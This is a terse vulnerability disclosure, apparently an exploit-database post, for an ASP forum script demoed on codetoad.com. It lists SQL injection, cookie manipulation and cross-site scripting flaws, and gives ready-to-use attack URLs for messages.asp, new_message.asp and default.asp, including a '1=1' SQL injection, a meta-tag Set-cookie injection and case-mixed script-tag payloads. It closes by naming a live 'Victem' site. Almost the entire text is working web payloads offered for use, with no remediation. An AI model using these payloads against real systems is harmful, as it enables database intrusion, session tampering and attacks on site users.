######################################################### --------------------------------------------------------- Portal Name: ASP Forum Script Vendor : http://codetoad.com/demos/forum/ Author : Pouya_Server , Pouya.s3rver@Gmail.com Vulnerability : (CM,XSS,SQL) --------------------------------------------------------- ######################################################### [SQL]: http://site.com/[Path]/messages.asp?forum_id=3&message_id=[SQL] 1=1 [Cookie Manipulation]: http://site.com/[Path]/new_message.asp?topic_id=0&message_id=0&forum_id=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue' > [XSS]: http://site.com/[Path]/messages.asp?forum_id=>'><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&message_id=197 http://site.com/[Path]/new_message.asp?topic_id=0&message_id=0&forum_id=<script>alert(1369)</script > http://site.com/[Path]/default.asp?>"'><ScRiPt>alert(1369)</ScRiPt> --------------------------------- Victem : http://codetoad.com/demos/forum